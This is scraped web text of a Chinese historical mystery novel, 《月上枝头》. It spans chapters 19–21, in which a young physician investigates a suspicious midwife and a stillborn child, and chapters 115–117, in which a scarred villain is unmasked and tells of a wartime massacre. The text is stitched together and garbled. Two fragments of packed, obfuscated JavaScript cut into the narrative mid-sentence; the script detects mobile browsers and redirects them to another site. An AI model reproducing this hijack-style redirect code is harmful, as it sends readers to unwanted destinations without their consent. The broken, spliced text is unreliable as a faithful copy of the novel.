她边给芸娘擦干,边嘱咐两个女使,“先别着急盖被子, 19. 度支员外郎案--奇怪的产婆 《月上枝头》全本免费阅读 “夫人别紧张,”夕瑶赶紧给王夫人宽宽心,“之前她不是给姐姐用了止血的药粉么。我想问问具体是用了哪些药,这样之后用药可以更有数些。刚刚我问了伺候的女使,都说产婆没有留下药,而伤口上的那些,混着血水实在是看不清啦。另外呢,我也想了解一下芸娘生产时候的具体情况。” “哦哦。”王夫人一颗心放回了肚子里,心里倒是赞叹起了夕瑶做事的仔细,不愧是唐公亲授的。 产婆住得不远,坐上马车没多久便到了。 路上,王夫人还在和夕瑶介绍,原本芸娘生产,家里是另外叫了一个产婆的,可是临生产,那个产婆突然病了,只能临时换了这个。芸娘难产后,她也不是没有怀疑过,生怕产婆跑了,还专门叫人盯着。可那产婆不仅没跑,还给了止血药。再加上,她后来着人去打听,这个刘家的,在当地已经做了了十几年的产婆,在她手里顺利接生的孩子也多的很,所以她倒是也算打消了怀疑。 产婆其实是夫家姓刘,周围街坊都叫她刘家的,是个看起来五十出头的精瘦妇人。 刘家的把她们几个迎进门,倒上了茶水,王夫人先和她寒暄着。 因心里存了疑惑,夕瑶观察得格外仔细。 刘家住在一个一进半的小院子里,前院里有一棵大槐树,树边上晾晒着一些菜干,除此以外,前院便再没有东西了。 正屋一共只有两间瓦房,外间就是现在她们坐着的这间,里屋估计就是这家人睡觉的地方。 听王夫人和她唠家常,夕瑶了解到,刘家一共就两口人,产婆和她家老汉。老汉在附近酒楼里帮佣,要晚上才回来。 “姑姑,我要尿尿。”虎子小朋友突然打断了人家唠嗑。 “茅房在后面,我带这个哥儿去吧。”产婆站起来,被夕瑶轻轻按住了。 “婶子,这孩子闹腾,我带他去吧,您陪着王夫人说说话。” 借着带虎子上茅房的机会,夕瑶快速打量起刘家的后院。 后院很小,除了一间小小的厨房以外,就是角落里的茅房了。茅房边上有个棚子,里面整整齐齐摆着一捆捆捆好的柴火。一个竹制的晾衣杆上晾着两件女式外裳。边上是个小小的水井,再过去的墙根下是一双乌青色晒得泛白的男式布鞋。 站在后院,透过半开的窗子,夕瑶能够看到刘婆子的睡房。一张简单的木床,后头叠着两个箱笼,边上是一个妆台,上面放着两个小瓷罐,估计是面脂手油之类的。 转了一圈,夕瑶有一种奇怪的感觉,但一时半会儿又说不出来是哪里奇怪。 陪虎子上完茅房回到正屋,王夫人正和刘家的聊起芸娘的生产,“刘妈妈,有个事情我一直想不明白啊,按说七八斤的孩子,大是大了点,但是也不至于这么凶险啊。我娘家侄儿出生的时候快九斤,也是母子平安的。前任刘知县不是年过四十续了个填房么,前年也生了个大胖闺女,听他夫人说出生的时候也足有八斤呢,我还去喝了孩子的百日酒。为什么只有我家芸娘这么凶险啊?大人遭罪,孩子也没保住。她怀孕的几个月里,都有大夫来请脉的,也没说什么不好啊?” 夕瑶赶紧拉着虎子坐下,示意虎子别插嘴。 “哎,这让我说什么好呢。自古妇人生产,就是一只脚踏在鬼门关上,生死一线的。您家姑娘啊,原本就是大家闺秀,大门不出二门不迈,日常在家一看也就是个娴静的,和那些平时做惯了家务的自是不同。过去我们乡下啊,很多女的大着肚子还下田干活儿呢,羊水破了自己就在田间地头上生了,不也是好好的。” “那你的意思是说,芸娘是因为活动太少,所以才导致的难产?” “这倒也不能都这么说,官眷人家,自然不能和田间农妇作比。只是每个人的怀相不同,生产情况也不同,实在是说不好。” 这产婆,看着有问必答,却是打着哈哈,什么关键的信息都没说。 夕瑶在一旁听得着急,“请问妈妈,姐姐生产的时候具体是个什么情况?胎位可正?” “这位是?” 原本一进门的时候,是要做介绍的,只是虎子着急上茅房给错过了。 “这是我娘家的侄女儿,今天带着孩子来看芸娘的。”王夫人隐隐有点明白夕瑶的意思了,出声打掩护。 产婆看了眼一旁在玩香囊的虎子,又看着夕瑶,反而没有面对王夫人时候的紧张,“叶家娘子的孩子啊,胎位不好。生的时候脐带绕颈,卡在了产门上,这才导致的大出血。说来可怜啊,小公子是活生生被憋死在娘胎里的。”说着,还从袖子里掏出了手绢,压了压眼角。 “刘妈妈,那您能说说孩子出生时候的情况吗?孩子是头先出来的,还是脚先出来的?” “你这孩子问的,脐带绕颈,自然是脚先出来的。”刘产婆很自然地接了嘴,然后突然顿住了,脸上露出了一刹那懊悔的神色。这一个刹那刚好被夕瑶看到,加上前面的话,夕瑶心里咯噔一下。 “那除了脐带绕颈以外,我姐姐生产的时候可有别的不妥?” “别的,那就是出血啊,叶家娘子可是真的遭罪了啊,那个血出的啊......” 听到出血,边上的王夫人一脸心碎的表情,藏都藏不住了。“那天,我也是在产房里的,芸娘生子,刘妈妈说孩子卡在产门里出不来,产妇没力气了,让我去厨房熬参汤,还一定嘱咐了要找50年以上的老参。我拿着芸娘的对牌去库房,连连跑着去吩咐的,也就是一小会儿工夫,等我赶回来,就看到芸娘生下的小哥儿,一动不会动,没了气息。” “那孩子生下来什么样子?” “这位娘子问的,一个死婴,还能是什么样子。”刘妈妈眼里精光一闪,“当时产妇还在危险中,大出血又脱了力。这种时候可不能让她看到孩子啊,不然一激动,可能出血更多,所以我们就抓紧把孩子拿走了。” 王夫人倒是还记得一些,“那孩子我看到了,挺胖呼一个,但也不知道是被芸娘的血染的,还是那天夜里光线不好,总觉得孩子脸上身上有点灰乌乌的。可那时候我的注意力都在芸娘身上,也没看得太真切,兴许是我记错了也不一定。” 夕瑶心里的疑虑更盛了。可是眼见着刘婆子已经有了警惕心,怕是再问不出什么了,只好和王夫人一起告辞。 出了产婆的小院子,虎子已经饿得不行了,两只肉嘟嘟的小手抓着夕瑶的袖子,一双小眼睛惨兮兮地盯着夕瑶,“姑姑,我饿。” “哎呀,不说我都忘了,这都到了饭点了。夕瑶啊,我带你们去我们这儿最出名的东升楼吃饭吧,他家的肴肉可是一绝,别的地方吃不到呢。” 夕瑶本想答应的,可是袖子上挂着的这个小家伙有自己的主意,偷偷摇她的手。难得下山一次,估计这小鬼就等着能好好逛逛镇江城呢。 也是啦,这么多天了,之前在船上,后面在山上,也没什么玩的。毕竟还是个五六岁的孩子,也该带着他到处走一走玩一玩。 这样想着,夕瑶就婉拒了王夫人,“谢谢夫人的好意,只是这孩子还是第一次进城呢,我之前答应了要带他好好逛逛的,就不和您一起吃饭了。明天姐姐什么时候方便,我再上门去看看她的情况?” 20. 度支员外郎案--桦木还是杉木 《月上枝头》全本免费阅读 码头上照旧是人来人往的。 唐家租的船已经卸完货了,正靠在一角,两条粗粗的麻绳捆在岸上的石墩子上。 夕瑶走近船只,刚好之前负责灶上的王婆子从船舱出来,一看到夕瑶赶紧招呼,“大小姐,你怎么来了?” “快,当家的,大小姐来了,快把舢板放下来。” 这两口子是唐家的老人了,王婆子烧得一手好宁波菜,在唐家的厨房,那可是定海神针一般的存在。老何头今年也快60了,之前一直负责外院的仓库的看管。如今年纪大了,刚好唐大人外放回浙江,他们两口子也就跟着回来了。这回唐家人想要在金山寺歇两天,可船上这么多行李呢,不能没人照看,所以两口子就自告奋勇留下来看管行李。 “王妈妈,你们两口子在船上闷坏了吧。” “大小姐哪里的话,我们俩是在船上躲闲呢,你看,这每日里也不用做什么活儿,老头每个时辰巡一回就行了。对了,老爷夫人在山上可好?” “挺好的,山上清净,母亲睡得好,这几日用饭也好,也能出来稍微走走了。” “哎呦,那就好,那就好。对了,小虎子,这两日在山上尽吃素了吧,想王妈妈的手艺没有?” “想了想了,我每天都想呢,超级想超级想的,”虎子说着就扑到王婆子的怀里去了,这小子,一说起吃就没什么节操。 王婆子被虎子哄得,脸上的皱纹都笑成一朵菊花了,“走,王妈妈带你吃好吃的去,今日刚巧做了鱼丸呢,我给你弄个鱼丸汤。” “诶,王妈妈,他刚吃了午饭呢。” “不妨事不妨事,鱼丸好消化得很,不占肚子,”王婆子这会儿可听不进去,美滋滋地带着虎子去厨房了。 夕瑶想着也好,刚好趁这个空档,她去房里取了要拿的东西。 取完东西等了快两盏茶的时间,虎子还没出来。夕瑶去厨房找,却只看到王婆子在收拾灶上的东西。 “王妈妈,虎子人呢?” “这小子啊,吃完说要去底下的货仓看看。我想着横竖这会儿别人家的东西都搬完了,船上也没别人,就让孩子去玩会儿。” 沿着木质的楼梯下到货仓。原本堆得满满的货仓如今空了一半,虎子正坐在地上,玩他刚买的木头小猴和小鸟。 “虎子,咱们差不多要走啦。” 一听姑姑召唤,虎子把他的小玩具们放回篮子里,就跑来了。 “慢点,别摔着。你这孩子,怎么坐在地上啊,这里是货仓,脏得很。”小家伙的屁股上沾了不少红黑色的粉末,夕瑶弯下腰给他拍拍。 说起来,这些粉末的质感有点奇怪啊,夕瑶用两个手指搓了搓,又放在鼻尖闻了一下,有股子腥味,但是又不是血,好像是铁屑?这船舱里怎么会有铁屑呢? 带着疑惑回到楼上的客舱,夕瑶问起了老何头,“何伯,船老大去哪儿了?” “小姐找他啊。这人啊,前几日不是货仓里的东西卸货了么,对方东家给他结了钱,这会儿,他怕是去倚香楼咯。” “你这老东西,和小姐混说些什么呢?”王妈妈听到了,张口就骂,“小姐别听他的。您找船老大有事吗?” “也不算大事。之前和人家说好了,我们只在金山寺住个三四日,等卸完货就回来。可如今母亲的身体有点好转,我想着让母亲多住几日调养一下。可这就耽误人家做生意了,所以我本来今天还想找船老大,给他补点船资,让他再多等几日。” “嗨,这事儿小姐就别操心了,交给我家这个办就是了。”王妈妈用胳膊肘儿拐了一下老何头,“听到没有,回头找船老大补点钱给人家。” “听到了听到了,可这人好几日都没回来了,也不知道啥时候回来,”老何头嘀咕了半句,换来王妈妈狠狠瞪了一眼,忙改口“行行行,小姐只管放心,这点小事就交给我吧。回头等船老大回来了,我第一时间把钱补上。” “小姐这会儿是要回金山寺吧?” “嗯,天快黑了,得回去了。” “那小姐等我一下,”王妈妈一回头,又指使老何头,“你还傻愣着干啥,快去给小姐雇辆车,”说着,王妈妈急匆匆地往厨房去了。 一会儿功夫,拎出来一个食盒,“我刚好做了些点心,原本是打算给老爷夫人送去的,刚巧大小姐来了,我就偷个懒。听闻金山寺的大和尚,做素斋很有一手,可咱们自家做的,毕竟是家里的味道。”想了一想,又补充了一句,“让老爷夫人在庙里放心吃吧,这里面的油用的也都是素油,一点子荤腥都没沾的。” 坐在回去的马车上,小虎子趴在窗口,看着窗外热闹的街市,一脸的意犹未尽,连指带比划,把一家一家的店名报给夕瑶,“姑姑,这是千里香酒铺,隔壁那家叫大发米庄,然后这个是野仁客栈......” “野人客栈?这客栈名字这么奇怪吗?”夕瑶挪到窗前,透过窗子往外看,“傻小子,那是墅仁客栈,你这几日是不是尽顾着玩儿,功课都没做吧。” “嘿嘿,”虎子被抓包,有点不好意思。他坐了回去,准备换个话题混过去,“姑姑,咱们今晚是不是可以加菜了,王妈妈给了我们这么多吃的呢?”说着指了指王妈妈给的食盒。 夕瑶用手指戳了戳虎子的脑袋,正准备好好讲讲道理,只听到“吁”一声,紧跟着马匹长长的嘶鸣,马车一个急刹停了下来。姑侄俩一起往前扑,还是夕瑶反应快,一伸手把虎子护在怀里。 车把式回身对着车厢里说,“小姐,实在不好意思啊,前面有人吵架,惊着马了,您和小公子没摔着吧?” “没事没事!”夕瑶还没应声,虎子已经回话了。这小子一看有热闹看,别的也顾不上,赶紧又趴回车窗上,小脖子伸得老长的,快要把半个身子都探出去了。 “虎子,你快坐回来,这样危险。” “嗯嗯,好。”答应得很好,但是小家伙趴着的姿势一动不动。 夕瑶有点头疼,她是真不知道如何管教这般年纪的小男孩。算了,回头问问母亲和卞妈妈吧。边想着,夕瑶还是照旧挪回了窗边,把虎子抱在怀里,“你要看热闹就这么看,可不能再往外趴了。” 车窗外,一个挑柴的樵夫似乎被另一辆马 21. 度支员外郎案--产婆疑云1 《月上枝头》全本免费阅读 到了金山寺天已经快黑了,夕阳完全躲到了山后头,晚霞也基本没有影子了,只剩下一点点紫金色淡淡的边。 小虎子在外面欢奔乱跳了一天,又在马车上看了好一会儿的热闹,终于困了,在马车上山的时候已经开始昏昏欲睡,小脑袋一下一下地耷拉着。马车颠簸,夕瑶怕他在马车上磕着,就把他搂在怀里,让他枕在自己的腿上眯一会儿。这会儿这只小猪猪睡得正香。 马车停在侧门口,门上紫草和银翘早就候在那里,一听到动静就赶忙起身上来迎。 推开马车们,就看到夕瑶和她们俩做了一个“嘘”的动作,指了指怀里的这个。仿佛是听到了动静,这只小猪猪还在夕瑶的腿上拱了拱,找了个舒服的位置继续睡。 紫草和银翘两个人一个对视,一个抬头一个抬脚,把这小子抬出了马车。呵,这一趟操作下来,小家伙愣是没醒。成为了日后银翘和虎子拌嘴的又一个笑料。 用过晚饭,夕瑶和父母说起来芸娘的情况。 “你怀疑这个叶芸娘是中毒导致的难产?” “从脉象上看,中毒基本是确定的。但是是不是中毒导致的难产,现在很不好说。”夕瑶仔细回忆具体的情况,“芸娘产后身体很弱,大出血加上多日未进食。如果说她中毒已深的话,怕是早就挺不过去了,不会还能坚持到现在。这是其一。” “其二呢?”唐父追问道。 “其二的话,如果芸娘是中毒已深,那么在怀孕早期的时候就会影响孩儿,孩子很难有机会在母亲肚子里待到足月,多半会在怀孕中途就流产。” “那如果是孕晚期中毒呢?” “我也想过这个可能性,如果是等到怀孕七八个月,然后才中毒,的确是有可能出现胎死腹中的情况,但是如果是那样,芸娘体内的毒量应该会很高,母亲也很难熬过去。就算熬过去了,按理说产道里也会有中毒的痕迹才对。从我诊脉的情况来看,芸娘体内有毒素,但是并不是很高,这才导致了脉象中的那丝波动,但是并未危及性命。” “芸娘的产道没有中毒的迹象吗?不是说肿烂得厉害么?你能确定吗?”相比唐父的自信,唐母更担心夕瑶误诊。虽说孩子的医术是自己和郎子一手教的,可毕竟夕瑶出诊的经验少啊,加上这次的患者情况还复杂。 母亲的担心其实也是夕瑶自己的担心。 “我今日仔细瞧了,确实,产道肿的厉害,还流着脓,即便是清理过后,还是有糜烂的情况,不好下十足的判断。所以我给芸娘开了三天清热排毒的汤药,加上外用的洗剂,希望三天以后肿胀能退一点下去,这样到时候能判断得更加清楚些。若是三天后患处还是一样......” “若是三天后还是一样,你准备用老办法?你可想好了,这芸娘可不比男子,那患处也不是一般的患处。”知道夕瑶今天上船取了东西,唐家父母就有知道女儿的打算了,这可是一招险棋啊。 “是啊,眼下也没有更好的方法了。不然,芸娘就是等着患处继续溃烂流脓,活活熬死。哎,希望那法子最后用不到吧。另外,父亲母亲,我打算明天再去一趟傅府,看看那孩子还在不在,若是在的话,也能从孩子的身上看出来具体的中毒情况。” “那孩子,那孩子还在呢。哎,我当初就想着把孩子藏起来,后面悄悄找个地方埋了,免得芸娘看到了伤心。可芸娘说什么都不肯,要死要活地和我闹,非得要我把孩子留下来。后来芸娘不是状况一天不如一天么,我这心里......我做好了最坏的打算,真的要有个万一,就让他们母子俩埋一块儿吧,路上也有个伴。” 第二日,夕瑶问起王夫人,得知那孩子还未下葬,便让王夫人领着自己去看看。 “夕瑶啊,你确定吗?给你看看自是没什么,可......”自古死婴就是不吉的,更何况还是放了好些天的,也不知道这会儿是个什么情况了。想当初芸娘拼命想要留下孩子,傅家的小姑子可是阴阳怪气了好一阵子,说什么晦气。就连孩子的亲爹傅望安也是不甚赞同。要不是芸娘以命相拼,怕是留不下来。自打那之后,傅望安来这院子里的次数可是大大减少了,每次来了也都是到了点个卯就走。 “嗯,我确定,带我看看吧。” 那孩子的尸体藏在芸娘院子后头的偏房之中,因为最近天还不是很热,也没有用什么冰,就那样一个小小的紫檀木棺材,约一个枕头大小,孤零零的,放在一张八仙桌上。在一整个空荡荡的屋子里,周围没有祭奠,也没有香烛,就是光秃秃的一个小棺材放在那里。 夕瑶走上前去,棺盖并没有用棺钉封上,只是浅浅地盖着。刚要伸手去推,看了一眼有些神色紧张的王夫人,“夫人,您若是害怕或者有顾忌的话,可以先去休息,我一个人可以的。” “我,我不怕。那是我的外孙,是我芸娘的骨肉,我是他外祖母,有甚好怕的。只是,我怕你若是真的沾了晦气,回头唐大人那边说起来,我不好交代啊。” “王夫人不要有顾忌,就像您说的,这里面躺着的,是您的外孙,一个不幸的孩子而已。我们做医者的,对生者抱着一颗救死扶伤的心,对死者也是尊重和惋惜的,并不会有晦气一说。” “也对,那是我的外孙。我们一起看看。” 推开了棺材盖子,就看到了一个小小的身体,躺在白色的锦被之下。那么小小一个,只在平整的锦被上突出了一点点,王夫人的眼睛里立刻蓄满了泪水,夕瑶的鼻尖也有点酸。 她努力保持着冷静,小心翼翼地伸手把这个孩子抱了出来,放在一边的桌子上,掀开被子仔细检查。 正如王夫人之前回忆的,这个小婴儿的皮肤上带着一种乌蒙蒙的颜色,如今孩子血色已褪,整个身体呈现出一种惨白,在这种惨白的底色下,这层乌蒙蒙依旧很明显。 另外,从体型上看,这是一个足月的男婴,眼耳口鼻都发育得很好,甚至连头顶都已经有了黑色的茂密胎发。 “他长得真像芸娘啊。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12812871|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不知晓,最开始还是你父母手里办下的,唐老爷子,唐大人,你从小就不受父母怜爱,一早上山学医,如今还要无端担上这个责罚,就不觉得冤得慌么,” 郭不忘嘴里叼着一截狗尾巴草,一脸的可惜状,“要我说啊,你索性趁如今还没有事发,直接叫齐家族耆老,再去衙门里办好手续,和这个弟弟断了亲,也省得自己被连累。毕竟么,你身边连累你的人已经够多了。”说着,还用眼神瞟了一眼夕瑶。 唐二夫人刚刚还一副不用你管的架势,被这一说,瞬间慌了神,“啊?大伯啊,可不能断亲啊,”说着,回身疯狂拉扯着自家老爷,“你是死人啊,你倒是说句话啊。这要是和大伯断了亲,回头在镇海,谁还卖你的面子。” 眼前的闹剧让夕瑶有些疑惑,他这是要干什么?挑唆唐家两房人有了嫌隙,对他又有什么好处呢? 夕瑶默默往后退,试图去看看周围的环境,她几乎可以肯定,这厮肯定没憋着好事儿。 “唐家小姐,你这是要去哪儿啊?今天没听完故事,可是谁都不许走哦。” 夕瑶刚往后挪动了几步,就被郭不忘发现了。然而此刻她还不害怕,对方只有一个人,又离得远,唐家也再没有什么把柄在他手里了。她继续往外走。 郭不忘见她脚步未停,也不着急,闲闲地从怀里拿出一个极小的荷包,“休~”一下丢到夕瑶的脚下。“放心,没毒,打开看看。” 夕瑶狐疑着蹲下身子捡起荷包,慢慢扯开,瞬间,整个人都愣住,然后开始颤抖起来。 是珠子,一粒一粒小小的柱子,约莫五六粒,有珊瑚的,还有珍珠的。 那是唐棠的,当初刘千祥那狗才抢走孩子的时候,唐棠头上的鬏鬏上就缠着这些珠子。夕瑶一把抓紧荷包,用力闭了闭眼睛,强压住心中的慌乱。 她一个抬头,双眼狠狠盯住郭不忘。这眼神,凶恶的如同被抢走了崽子的母狼,让高台上的郭不忘也忽地心中一颤,收起了脸上的嬉皮笑脸。 见夕瑶止住了脚步,天也慢慢黑了下去,郭不忘终于开始了今夜的重头好戏。 他站起身,右手手指慢慢扣住自己的下巴,指尖用力,只见半张脸皮就被慢慢揭了下来。 月亮初升,柔和的月光打在郭不忘脸上,却依旧让安济坊西侧晒药台的高架上显得阴森。随着半张人皮慢慢剥落,唐二娘子整个人都开始吓得发抖。即便是见惯了战场上刀光剑影的军士们,看到这如同画皮的一幕,都觉得头皮发麻。 “刷”一声,半张脸皮完全脱落,露出了郭不忘扭曲的半张右脸。这张脸,估计是幼年时被军刀划破,并且力道颇重,虽然现在已经不见骨,可是上下的皮肉都已经卷曲,并且随着年龄的增长,伤口处长成一道深红色的凸起疤痕,远远望去,仿佛一条巨大的蚯蚓盘桓在脸上。 “啊,”唐二娘子一口气没上来,直接吓晕了过去。 而人群中的另一端,谢云初的眼睛里闪着不一样的光泽,他记起来了。 116. 是故人,也是仇人 8 十四年前,西南战场,战事已经胶着了半月有余。说是胶着,其实不过是我方强撑着而已。 统领马先已经带着将士们守了整整三日。 西南边境,群山连绵,山峦叠翠。早春的清晨,雾气笼罩在山谷之间,整个寨子如同浸泡在云海中。寨子的四周竖立着用粗壮木头建成的防御工事,紧绷的藤条编织成的栅栏显得古朴而坚韧。寨子正中的高地上,一面大旗随风飘扬,旗上绣着一个鲜红的“宋”字,象征着这片土地的归属和守护。 他身着黑色铠甲,手握长刀,眉头紧锁站在寨墙上,远望着连绵不断的山脉,目光沉静而坚定,但眼底深处却藏着一丝隐忧,三日了,援军迟迟未到,算算脚程,昨日夜里就该到了。 这个乌金寨,地处交界处,寨子四周虽已用粗壮木头建成了防御工事,可寨子里毕竟人少,扣掉老弱妇孺,青壮男子不过四十余人。真要打起来,怕是扛不了太久。如今三日下来,大部分的男丁都已经随身带着农具,做好了随时和敌人决一死战的准备,但是马先知道,大家和他一样,都在等,等大部队的到来。 “将士们!兄弟们!”马先高声呼喊,声音在山谷间回荡,“身后是我们的亲人,是我们的根!今日,我们为保卫家园而战!无论敌人多么强大,我们绝不退缩!我们唯有血战到底,方能不负使命!” 他的声音穿透喧嚣,如洪钟般震撼人心,将士们也随之高呼:“血战到底,守护家园!” 远处传来敌军的鼓声和战马的嘶鸣,似乎大地都在颤抖。日头渐渐升高,雾气逐渐散去。敌军的旗帜和兵刃在阳光下闪耀,数不清的士兵如潮水般涌向寨子。马先挥舞长刀,指挥将士们严阵以待。弓箭手在寨墙上排成一列,弯弓搭箭,静待马先的命令。 战斗终于爆发。马先大手一挥,箭矢如雨点般落下,敌军前锋倒在血泊中,但更多的敌人蜂拥而至。寨子的男人们发出愤怒的吼声,与敌人展开激烈的搏斗。刀光剑影,喊杀声震天动地。鲜血染红了土地,战士们的吼叫声和敌人的惨叫声混杂在一起,宛如一首悲壮的战歌。 时间一点一点过去,寨子的防线逐渐崩溃。马先身先士卒,奋勇杀敌,但敌人源源不断地涌来,他的体力也在渐渐耗尽。他的目光不停地扫视远方,希望能看到援军的旗帜,可是一片荒芜。 他抬头望向远方,只见天边泛起黑云,刚才还是一片晴朗之色,如今已经乌云压头,而他们的命运,似乎也已注定。 终于,马先感到一阵剧痛,一支冷箭射中他的肩膀。他踉跄了一下,但仍然顽强地挥舞着长刀,身边的将士们一个个倒下,鲜血染红了他的铠甲。他知道,援军已经不可能来了,他们只能依靠自己。 “兄弟们,我们拼死一战!”马先用尽最后的力气吼道。 “爹爹,爹爹”,一个尚带着稚气的声音从后方传来,“守义,你怎么来了,这不是你来的地方,快回去!”马守义,马先的独子,原本应该留在寨子里的,不知为何,小家伙遛了出来。 “爹爹,你中箭了,你疼不疼?”战场上刀枪剑影,小家伙穿梭其中,跌跌撞撞往马先这头跑来。 眼看着又一阵的箭雨将至,身下的马儿一时避不开周围的军士,马先不得不飞身下马,往儿子这头跑去,“守义,你站着别动,爹来了。” 幼时的守义,虽然知道战场可怕,可是看着爹爹奔向他,心中还是欢喜。只是,这欢喜仅仅停留了一瞬。 就在爹爹面向他,准备将他抱起之时,一个高大的身影笼罩着他们,接着,是一抹大刀的反光。 马先纵使是军中统领,有着比常人更敏锐的感知,可是在这一刹那,他手中抱着幼子,再无力拔刀,千钧一发之时,他只能用自己的身躯,替幼子挡下了这一刀。 手起,刀落。年幼的守义只觉得眼前一片红色,然后是脸上火辣辣的疼,接着,就什么也不知道了。 等援军赶到之时,只从马先将军的尸体下,翻出了被他死死罩着的幼子马守义。 谢云初看着眼前的郭不忘,记忆逐渐和幼时他熟悉的统领马先叔叔慢慢重合。是了,除去脸上这道伤疤,这眉眼,这脸庞,的确和马先一般。 “你是,马守义?” “呵,你终于想起我了。”郭不忘随手丢开了人皮面具,“我还以为马守义这个名字,在这世上再没有人记得了呢。” “马守义,你疯了吗?你父马先是多么忠勇,你看看你都做了什么!杀人越货,绑架民女,西北的军械案,怕是也有你的份吧,你这样,对得起你父亲的在天之灵吗?”谢云初站在台下,对着郭不忘也就是马守义大声吼道。 “你闭嘴,你有什么资格提我的父亲?”说起先父,任凭多么铁石心肠,郭不忘还是红了眼。 “难道不是吗?马先将军是多么英勇之人,一直战到了最后一刻。他用自己的生命换来你的安全。给你取名守义,是希望你能守住心中大义,可如今你居然走上了这样一条邪路。若是马将军还在世,看到你这副样子,他得多心痛啊。” “若是,我爹爹还在世,哈哈哈哈哈,若是我爹爹还在世......”郭不忘的话语中逐渐带上了哭腔,“乌金寨一战,我父亲和寨子里的男人守了整整三日。我们从日出盼到日落,一众将士和寨子里的人都在等着援军的到来。明明只有一天半的脚程,援军却迟迟不来。我父亲和将士们,一直等,一直撑着,直到所有将士包括寨子里的所有男丁都战死,整个村寨被屠尽,援军才来。我问你,援军呢,援军去哪里了?” 谢云初看着高处的郭不忘,终究是避开了他的眼神。 “你不敢说,我替你说,”郭不忘的表情逐渐疯癫起来,“援军啊,正忙着找疾风军的主帅呢。哈哈哈哈哈哈,多么讽刺,大战在前,主帅居然失踪了,群龙无首。所以比起救援乌金寨,找主帅自然是更重要的事情了。哈哈哈哈哈。乌金寨子里的那些将士,那些村民,他们就是活该,活该送了性命。” “你住嘴!”谢云初用尽力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823382|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吼道,他整个人气到发抖,连嘴唇都不由自主地上下抖动,但即便如此,他却说不出任何反驳之词。 “怎么,我说得不对吗?这难道不是事实吗?”郭不忘说起这段往事,整个人都处于疯癫状。 “就是因为主帅的失踪,导致了西北战场整条战线的失利,我们的土地被掠夺,我们的家园被烧毁,我们的百姓被屠杀。乃至在之后的好几年中,交趾都时不时来骚扰我国边境,烧杀抢掠无恶不作。谢云初,这就是你的父帅,谢常青欠下的孽债!” “你胡说!”韩守康一个飞身上去,声音低沉而坚定,每一个字都像是从牙缝中挤出,带着浓浓的恨意。话音未落,韩守康身形已动,如同猎豹般扑向郭不忘。郭不忘也不甘示弱,身形一侧,轻松避过韩守康的攻势,同时右拳紧握,猛地挥出,直击韩守康面门。韩守康冷哼一声,左手一扬,轻松格挡住郭不忘的拳头,同时右脚顺势踢出,直取郭不忘的下盘。 郭不忘猛地一跃而起,双腿在空中交错,形成一道凌厉的剪刀腿,直逼韩守康的头顶。韩守康身形一侧,几乎是在毫厘之间避开了这致命一击,同时右手迅速探出,化掌为爪,意图擒住郭不忘的脚踝。郭反应奇快,脚踝一扭,轻松挣脱,同时身体在空中旋转一周,双脚稳稳落地,顺势一记重拳挥向韩守康的侧腰。 韩守康腰间受了一拳,闷哼一声,脚步不稳,连连往后退去。只听见郭不忘从鼻子里传出一记冷哼,“人家亲儿子都不动,你一个外人,着急上火个什么劲儿。” “不许你侮辱我们主帅,他是在战前被敌人偷袭,以至于生死不明。”韩守康虽然打不过,但还挣扎着往前扑,身边的一众将领也怒视着郭不忘,巴不得将他乱拳打死。 “谢云初,”郭不忘喊道,“这就是当今天子给大家的说法啊,疾风军主帅战前被偷袭,生死不明?哈哈哈哈哈,这个答案,你自己信吗?” 见谢云初沉默不语,郭不忘愈发得意起来。“疾风军的大营,里外有三层防卫,更有军士日夜巡逻,我倒是想问问,到底是什么样的能人,能来无影去无踪,不惊动任何人,然后把活生生的一个主帅给偷走了?” “你刚刚说,我爹给我取名守义,是让我守住心中的大义,可是什么是大义?我守住了心中大义,当今天子守住了吗?他给那些枉死的百姓一个交代了吗?此事原本我不想怪你的,毕竟十四年前,你和我一样,也不过是个幼童。可是谢云初,自古父债子偿,你爹临阵脱逃,最后导致了整个乌金寨所有将士和百姓的殒命,这笔帐,我也只能和你算了。” “没有,我爹没有临阵脱逃!”这是谢云初心中最深的痛,也是他背负了这么多年的心债。表面上,他这些年征战沙场屡建奇功,可是背地里,大家都叫他是懦夫之子。他绝不相信自己的父亲是这样的人,可是一个大活人是如何在阵前失踪的呢? 谢云初只觉得胸口气血上涌,逐渐到了喉咙口,压不住,一口血喷了出来,然后眼前慢慢变暗,整个人倒了下去。 117. 是故人,也是仇人 终章 “将军,将军......”看到自家将军倒下,一众军士都围了上去。 夕瑶往前一步,止住了脚步,双眼怒视着郭不忘,“你说得大义,仿佛是要为十四年前乌金寨的将士和百姓报仇一般,可实际上,你自己心里清楚。做出这般行事,根本不是为了大义,不过是为了你自己见不得人的报复欲望罢了。谢将军说得对,要是马先将军还在世,看到自己舍命救回来的儿子竟变成了今日这般,怕是也会后悔当年之举吧。” “唐夕瑶,你一个下堂妇,不仅没本事笼络丈夫,还牵连老父,你有什么资格说我?” “我如何没有资格说你。就凭着这一路走来,你都在害人,我皆在救人,我就有资格说你,不仅我有资格,这城中被你祸害过的百姓人人皆有资格骂你。你说乌金寨是因为主帅失踪,导致援军迟迟不到而战败被屠,那我倒要问问,那些被你抓走的女孩,被凌辱被糟蹋,那个被麻袋一装丢在江涨桥下的姑娘,她们不是百姓吗?她们是做错了什么,要遭受如此非人对待?” 